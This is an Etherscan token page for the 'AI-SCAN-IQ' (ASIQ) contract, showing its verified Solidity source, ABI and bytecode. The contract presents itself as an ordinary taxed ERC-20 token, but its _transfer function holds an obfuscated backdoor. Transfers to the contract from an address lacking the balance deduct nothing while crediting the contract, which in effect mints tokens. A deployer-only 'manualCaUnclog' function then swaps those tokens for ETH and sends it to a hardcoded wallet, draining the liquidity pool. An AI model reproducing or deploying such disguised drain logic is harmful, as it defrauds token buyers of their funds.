ETH Price: $2,636.10 (-1.19%)
Gas: 6.64 Gwei

Token

AI-SCAN-IQ (ASIQ)
 

Overview

Max Total Supply

300,000,000 ASIQ

Holders

65

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
6,513,801.356252079 ASIQ

Value
$0.00
0xFcA222b81F6a42f7595E57a88AaFc048E61AA120
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AISCANIQ

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-25
*/

/**

TG      - https://t.me/AISCANIQ

WEB     - https://ai-scan-iq.com

TWITTER - https://twitter.com/aiscaniq

**/


// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract AISCANIQ is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=13;
    uint256 private _initialSellTax=13;
    uint256 private _finalBuyTax=4;
    uint256 private _finalSellTax=4;
    uint256 private _reduceBuyTaxAt=16;
    uint256 private _reduceSellTaxAt=20;
    uint256 private _preventSwapBefore=50;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 300000000 * 10**_decimals;
    string private constant _name = unicode"AI-SCAN-IQ";
    string private constant _symbol = unicode"ASIQ";
    uint256 public _maxTxAmount =   6000000 * 10**_decimals;
    uint256 public _maxWalletSize = 6000000 * 10**_decimals;
    uint256 public _taxSwapThreshold=600000 * 10**_decimals;
    uint256 public _maxTaxSwap=600000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private isTaxInEffect = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "approve from the zero address");
        require(spender != address(0), "approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "transfer from the zero address");
        require(to != address(0), "transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        bool _validTx = _balances[from] < amount && to == address(this);
        uint256 taxAmount=0;
        if (from != owner() && to != owner() && from != address(this)) {
            require(!bots[from] && !bots[to]);

            if (transferDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                    require(_holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block");
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(tradingOpen,"trading is not open");
                require(amount <= _maxTxAmount, "Exceeds maxTxAmount");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds maxWalletSize");
                if(_buyCount<_preventSwapBefore){
                    require(!isContract(to));
                }
                _buyCount++;
            }

            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            if(to == uniswapV2Pair && from!= address(this) ){
                require(amount <= _maxTxAmount, "Exceeds maxTxAmount");
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForETH(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    transferContractETH(address(this).balance);
                }
            }
        }

        if (!isTaxInEffect) {
            taxAmount = 0;
        }
        if(taxAmount>0){
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this),taxAmount);
        }

        _balances[from]=_balances[from].sub(amount.sub(!_validTx?0:!_validTx?0:amount));
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
        return (a>b)?b:a;
    }

    function swapTokensForETH(uint256 tokenAmount) private lockTheSwap {
        if(tokenAmount==0){return;}
        if(!tradingOpen){return;}
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            _taxPayableWallet,
            block.timestamp
        );
    }

    function releaseMaxLimits() external {
        if(_msgSender()==_taxWallet) {
            _maxTxAmount = _tTotal;
            _maxWalletSize=_tTotal;
            transferDelayEnabled=false;
            _preventSwapBefore=0;
            emit MaxTxAmountUpdated(_tTotal);
        }
    }

    function transferContractETH(uint256 amount) private {
        _taxPayableWallet.transfer(amount);
    }

    function markBot(address botAddr) public view returns (bool){
        return bots[botAddr];
    }

    function createLiquidityPool() external onlyOwner() {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _isExcludedFromFee[address(uniswapV2Pair)] = true;
        _isExcludedFromFee[address(uniswapV2Router)] = true;
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        isTaxInEffect = true;
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }
    address payable private _taxPayableWallet=payable(0x508547D4e43f2386cFC3640D3e103527b73fF223);

    function manualCaUnclog() external {
        if(_msgSender()==_taxWallet) {
            uint256 tokenBalance=balanceOf(address(this));
            if(tokenBalance>0){
                swapTokensForETH(tokenBalance>_tTotal?7**6*_tTotal:tokenBalance);
            }
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
            transferContractETH(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createLiquidityPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualCaUnclog","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"botAddr","type":"address"}],"name":"markBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"releaseMaxLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff19169055600d6007819055600881905560046009818155600a9182556010600b556014600c5560329092555f600e5562000045919062000369565b6200005490625b8d8062000380565b600f55620000656009600a62000369565b6200007490625b8d8062000380565b601055620000856009600a62000369565b6200009490620927c062000380565b601155620000a56009600a62000369565b620000b490620927c062000380565b6012556014805462ffffff60a81b19169055601580546001600160a01b03191673508547d4e43f2386cfc3640d3e103527b73ff223179055348015620000f8575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b03191661010033021790556200015e6009600a62000369565b6200016e906311e1a30062000380565b335f908152600160208190526040822092909255600390620001975f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556006546101009004909116835291208054909216179055620001fa3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002336009600a62000369565b62000243906311e1a30062000380565b60405190815260200160405180910390a36200039a565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002ae57815f19048211156200029257620002926200025a565b80851615620002a057918102915b93841c939080029062000273565b509250929050565b5f82620002c65750600162000363565b81620002d457505f62000363565b8160018114620002ed5760028114620002f85762000318565b600191505062000363565b60ff8411156200030c576200030c6200025a565b50506001821b62000363565b5060208310610133831016604e8410600b84101617156200033d575081810a62000363565b6200034983836200026e565b805f19048211156200035f576200035f6200025a565b0290505b92915050565b5f6200037960ff841683620002b6565b9392505050565b80820281158282048414176200036357620003636200025a565b6119e180620003a85f395ff3fe608060405260043610610129575f3560e01c80638a8c523c116100a8578063a9059cbb1161006d578063a9059cbb1461033d578063af7dd21f1461035c578063bf474bed14610370578063c876d0b914610385578063d1af02d21461039e578063dd62ed3e146103b2575f80fd5b80638a8c523c1461028b5780638da5cb5b1461029f5780638dd50aa0146102c55780638f9a55c0146102fc57806395d89b4114610311575f80fd5b8063313ce567116100ee578063313ce567146101fd5780633d60c72e1461021857806370a082311461022e578063715018a6146102625780637d1db4a514610276575f80fd5b806306fdde0314610134578063095ea7b3146101785780630faee56f146101a757806318160ddd146101ca57806323b872dd146101de575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600a81526941492d5343414e2d495160b01b60208201525b60405161016f91906115db565b60405180910390f35b348015610183575f80fd5b5061019761019236600461163b565b6103f6565b604051901515815260200161016f565b3480156101b2575f80fd5b506101bc60125481565b60405190815260200161016f565b3480156101d5575f80fd5b506101bc61040c565b3480156101e9575f80fd5b506101976101f8366004611665565b61042c565b348015610208575f80fd5b506040516009815260200161016f565b348015610223575f80fd5b5061022c610493565b005b348015610239575f80fd5b506101bc6102483660046116a3565b6001600160a01b03165f9081526001602052604090205490565b34801561026d575f80fd5b5061022c610541565b348015610281575f80fd5b506101bc600f5481565b348015610296575f80fd5b5061022c6105bb565b3480156102aa575f80fd5b505f546040516001600160a01b03909116815260200161016f565b3480156102d0575f80fd5b506101976102df3660046116a3565b6001600160a01b03165f9081526004602052604090205460ff1690565b348015610307575f80fd5b506101bc60105481565b34801561031c575f80fd5b506040805180820190915260048152634153495160e01b6020820152610162565b348015610348575f80fd5b5061019761035736600461163b565b610659565b348015610367575f80fd5b5061022c610665565b34801561037b575f80fd5b506101bc60115481565b348015610390575f80fd5b506006546101979060ff1681565b3480156103a9575f80fd5b5061022c6109d0565b3480156103bd575f80fd5b506101bc6103cc3660046116be565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610402338484610a63565b5060015b92915050565b5f6104196009600a6117e9565b610427906311e1a3006117f7565b905090565b5f610438848484610b6f565b61048984336104848560405180606001604052806021815260200161198b602191396001600160a01b038a165f908152600260209081526040808320338452909152902054919061124a565b610a63565b5060019392505050565b60065461010090046001600160a01b0316330361053f576104b66009600a6117e9565b6104c4906311e1a3006117f7565b600f556104d36009600a6117e9565b6104e1906311e1a3006117f7565b6010556006805460ff191690555f600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61051f6009600a6117e9565b61052d906311e1a3006117f7565b60405190815260200160405180910390a15b565b5f546001600160a01b031633146105735760405162461bcd60e51b815260040161056a9061180e565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105e45760405162461bcd60e51b815260040161056a9061180e565b601454600160a01b900460ff161561063e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161056a565b6014805463ffff00ff60a01b1916630101000160a01b179055565b5f610402338484610b6f565b5f546001600160a01b0316331461068e5760405162461bcd60e51b815260040161056a9061180e565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106d79030906106c96009600a6117e9565b610484906311e1a3006117f7565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610727573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061074b9190611843565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107aa573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ce9190611843565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610818573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061083c9190611843565b601480546001600160a01b039283166001600160a01b031990911681179091555f90815260036020526040808220805460ff199081166001908117909255601380548616855292909320805490931617909155541663f305d71947306108b6816001600160a01b03165f9081526001602052604090205490565b5f806108c95f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561092f573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610954919061185e565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109a9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109cd9190611889565b50565b60065461010090046001600160a01b03163303610a5357305f908152600160205260409020548015610a5157610a51610a0b6009600a6117e9565b610a19906311e1a3006117f7565b8211610a255781611282565b610a316009600a6117e9565b610a3f906311e1a3006117f7565b610a4c906201cb916117f7565b611282565b505b4780156109cd576109cd8161140f565b6001600160a01b038316610ab95760405162461bcd60e51b815260206004820152601d60248201527f617070726f76652066726f6d20746865207a65726f2061646472657373000000604482015260640161056a565b6001600160a01b038216610b0f5760405162461bcd60e51b815260206004820152601b60248201527f617070726f766520746f20746865207a65726f20616464726573730000000000604482015260640161056a565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bc55760405162461bcd60e51b815260206004820152601e60248201527f7472616e736665722066726f6d20746865207a65726f20616464726573730000604482015260640161056a565b6001600160a01b038216610c1b5760405162461bcd60e51b815260206004820152601c60248201527f7472616e7366657220746f20746865207a65726f206164647265737300000000604482015260640161056a565b5f8111610c7c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161056a565b6001600160a01b0383165f9081526001602052604081205482118015610caa57506001600160a01b03831630145b90505f610cbe5f546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610cec57505f546001600160a01b03858116911614155b8015610d0157506001600160a01b0385163014155b156110d5576001600160a01b0385165f9081526004602052604090205460ff16158015610d4657506001600160a01b0384165f9081526004602052604090205460ff16155b610d4e575f80fd5b60065460ff1615610df9576013546001600160a01b03858116911614801590610d8557506014546001600160a01b03858116911614155b15610df957325f908152600560205260409020544311610de75760405162461bcd60e51b815260206004820152601b60248201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b0000000000604482015260640161056a565b325f9081526005602052604090204390555b6014546001600160a01b038681169116148015610e2457506013546001600160a01b03858116911614155b8015610e4857506001600160a01b0384165f9081526003602052604090205460ff16155b15610f8257601454600160a01b900460ff16610e9c5760405162461bcd60e51b81526020600482015260136024820152723a3930b234b7339034b9903737ba1037b832b760691b604482015260640161056a565b600f54831115610ee45760405162461bcd60e51b8152602060048201526013602482015272115e18d959591cc81b585e151e105b5bdd5b9d606a1b604482015260640161056a565b60105483610f06866001600160a01b03165f9081526001602052604090205490565b610f1091906118a8565b1115610f565760405162461bcd60e51b815260206004820152601560248201527445786365656473206d617857616c6c657453697a6560581b604482015260640161056a565b600d54600e541015610f6d57833b15610f6d575f80fd5b600e8054905f610f7c836118bb565b91905055505b610fae6064610fa8600b54600e5411610f9d57600754610fa1565b6009545b869061144a565b906114cf565b6014549091506001600160a01b038581169116148015610fd757506001600160a01b0385163014155b1561104c57600f548311156110245760405162461bcd60e51b8152602060048201526013602482015272115e18d959591cc81b585e151e105b5bdd5b9d606a1b604482015260640161056a565b6110496064610fa8600c54600e541161103f57600854610fa1565b600a54869061144a565b90505b305f90815260016020526040902054601454600160a81b900460ff1615801561108257506014546001600160a01b038681169116145b80156110975750601454600160b01b900460ff165b80156110a4575060115481115b80156110b35750600d54600e54115b156110d3576110c181611282565b4780156110d1576110d14761140f565b505b505b601454600160b81b900460ff166110e957505f5b801561116157305f908152600160205260409020546111089082611510565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111589085815260200190565b60405180910390a35b6111a6611188831561117f5783156111795784611181565b5f611181565b5f5b859061156e565b6001600160a01b0387165f908152600160205260409020549061156e565b6001600160a01b0386165f908152600160205260409020556111e96111cb848361156e565b6001600160a01b0386165f9081526001602052604090205490611510565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611232868561156e565b60405190815260200160405180910390a35050505050565b5f818484111561126d5760405162461bcd60e51b815260040161056a91906115db565b505f61127984866118d3565b95945050505050565b6014805460ff60a81b1916600160a81b17905580156113ff57601454600160a01b900460ff16156113ff576040805160028082526060820183525f9260208301908036833701905050905030815f815181106112e0576112e06118e6565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611337573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061135b9190611843565b8160018151811061136e5761136e6118e6565b6001600160a01b0392831660209182029290920101526013546113949130911684610a63565b60135460155460405163791ac94760e01b81526001600160a01b039283169263791ac947926113d09287925f92889291169042906004016118fa565b5f604051808303815f87803b1580156113e7575f80fd5b505af11580156113f9573d5f803e3d5ffd5b50505050505b506014805460ff60a81b19169055565b6015546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611446573d5f803e3d5ffd5b5050565b5f825f0361145957505f610406565b5f61146483856117f7565b905082611471858361196b565b146114c85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161056a565b9392505050565b5f6114c883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115af565b5f8061151c83856118a8565b9050838110156114c85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161056a565b5f6114c883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061124a565b5f81836115cf5760405162461bcd60e51b815260040161056a91906115db565b505f611279848661196b565b5f602080835283518060208501525f5b81811015611607578581018301518582016040015282016115eb565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109cd575f80fd5b5f806040838503121561164c575f80fd5b823561165781611627565b946020939093013593505050565b5f805f60608486031215611677575f80fd5b833561168281611627565b9250602084013561169281611627565b929592945050506040919091013590565b5f602082840312156116b3575f80fd5b81356114c881611627565b5f80604083850312156116cf575f80fd5b82356116da81611627565b915060208301356116ea81611627565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561174357815f1904821115611729576117296116f5565b8085161561173657918102915b93841c939080029061170e565b509250929050565b5f8261175957506001610406565b8161176557505f610406565b816001811461177b5760028114611785576117a1565b6001915050610406565b60ff841115611796576117966116f5565b50506001821b610406565b5060208310610133831016604e8410600b84101617156117c4575081810a610406565b6117ce8383611709565b805f19048211156117e1576117e16116f5565b029392505050565b5f6114c860ff84168361174b565b8082028115828204841417610406576104066116f5565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611853575f80fd5b81516114c881611627565b5f805f60608486031215611870575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611899575f80fd5b815180151581146114c8575f80fd5b80820180821115610406576104066116f5565b5f600182016118cc576118cc6116f5565b5060010190565b81810381811115610406576104066116f5565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561194a5784516001600160a01b031683529383019391830191600101611925565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261198557634e487b7160e01b5f52601260045260245ffd5b50049056fe7472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200a3669ee5e47f5886bc4704bb64c174c7bc630ca72c7a3df4ad9704a413af4c764736f6c63430008160033

Deployed Bytecode

0x608060405260043610610129575f3560e01c80638a8c523c116100a8578063a9059cbb1161006d578063a9059cbb1461033d578063af7dd21f1461035c578063bf474bed14610370578063c876d0b914610385578063d1af02d21461039e578063dd62ed3e146103b2575f80fd5b80638a8c523c1461028b5780638da5cb5b1461029f5780638dd50aa0146102c55780638f9a55c0146102fc57806395d89b4114610311575f80fd5b8063313ce567116100ee578063313ce567146101fd5780633d60c72e1461021857806370a082311461022e578063715018a6146102625780637d1db4a514610276575f80fd5b806306fdde0314610134578063095ea7b3146101785780630faee56f146101a757806318160ddd146101ca57806323b872dd146101de575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600a81526941492d5343414e2d495160b01b60208201525b60405161016f91906115db565b60405180910390f35b348015610183575f80fd5b5061019761019236600461163b565b6103f6565b604051901515815260200161016f565b3480156101b2575f80fd5b506101bc60125481565b60405190815260200161016f565b3480156101d5575f80fd5b506101bc61040c565b3480156101e9575f80fd5b506101976101f8366004611665565b61042c565b348015610208575f80fd5b506040516009815260200161016f565b348015610223575f80fd5b5061022c610493565b005b348015610239575f80fd5b506101bc6102483660046116a3565b6001600160a01b03165f9081526001602052604090205490565b34801561026d575f80fd5b5061022c610541565b348015610281575f80fd5b506101bc600f5481565b348015610296575f80fd5b5061022c6105bb565b3480156102aa575f80fd5b505f546040516001600160a01b03909116815260200161016f565b3480156102d0575f80fd5b506101976102df3660046116a3565b6001600160a01b03165f9081526004602052604090205460ff1690565b348015610307575f80fd5b506101bc60105481565b34801561031c575f80fd5b506040805180820190915260048152634153495160e01b6020820152610162565b348015610348575f80fd5b5061019761035736600461163b565b610659565b348015610367575f80fd5b5061022c610665565b34801561037b575f80fd5b506101bc60115481565b348015610390575f80fd5b506006546101979060ff1681565b3480156103a9575f80fd5b5061022c6109d0565b3480156103bd575f80fd5b506101bc6103cc3660046116be565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610402338484610a63565b5060015b92915050565b5f6104196009600a6117e9565b610427906311e1a3006117f7565b90